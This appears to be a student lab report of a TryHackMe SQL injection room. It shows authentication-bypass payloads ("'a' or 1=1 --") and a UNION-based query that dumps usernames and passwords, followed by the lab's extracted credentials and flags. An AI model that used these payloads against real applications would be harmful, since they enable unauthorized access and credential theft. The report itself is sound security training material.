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Exercise-4 **PERFOM SQL INJECTION LAB**

Aim:

To do perform SQL Injection Lab in TryHackMe platform to exploit various vulnerabilities.

Algorithm:

1. Access the SQL Injection Lab in TryHackMe platform using the link- <https://tryhackme.com/r/room/sqlilab>
2. Click Start AttackBox to run the instance of Kalilinux distribution.
3. Perform SQL injection attacks on the following-
 - a) Input Box Non-String
 - b) Input Box String
 - c) URL Injection
 - d) POST Injection
 - e) UPDATE Statement
4. Perform broken authentication of login forms with blind SQL injection to extract admin password
5. Perform UNION-based SQL injection and exploit the vulnerable book search function to retrieve the flag

Output:

The screenshot shows a web application titled "SQL Injection 1: Input Box Non-String". It features a "Log in" form with two input fields. The first field contains the value "'a' or 1=1 --". Below the form is a blue "Log in" button. At the bottom of the page, there is a navigation bar with links for "Profile" and "Logout", and a section titled "Francois's Profile" displaying various user details.

Flag	THM{[REDACTED]}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	[REDACTED]

Log in

Log in

Profile Logout SQL Injection 2: Input Box String

Francois's Profile

Flag	THM{[REDACTED]}
Employee ID	10
Salary	R250
Passport Number	8605255014084
Nick Name	
E-mail	

SQL Injection 3: URL Injection

The account information you provided does not exist!

Login

10.10.1.134:5000/sesqli3/login?profileID=a&password=a

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Log in

Log in

Profile Logout

SQL Injection 4: POST Injection

Francois's Profile

Flag
Employee ID
Salary
Passport Number
Nick Name
E-mail

THM{
10
R250
8605255014084

SQL Injection 5: UPDATE Statement

Log in

Log in

Home **Edit Profile** Logout

SQL Injection 5: UPDATE Statement

Francois's Profile

Employee ID
Salary
Passport Number
Nick Name
E-mail

10
R250
8605255014084

Login

Broken Authentication : Blind Injection

[Main Menu]

Invalid username or password.

The image shows a login form with a light blue background. It features a "Log in" heading at the top. Below it are two input fields: one for "Username" and one for "Password". A large blue rectangular button labeled "Log In" is positioned below the password field. The entire form is enclosed in a thin gray border.

[Create an Account](#)

```
' union select '-1''union select  
1,group_concat(username),group_concat(password),4 from users-- -
```

Profile Logout

Book Title 2

Logged in as:

```
' union select '-1''union select 1,group_concat(username),group_concat(password),4 from users-- -
```

Title: admin,dev,amanda,maja,emil,sam2

THM{[REDACTED]},asd,Summer2019!,345m3io4hj3,viking123,asd

Author: 4

Result: Thus, the various exploits were performed using SQL Injection Attack.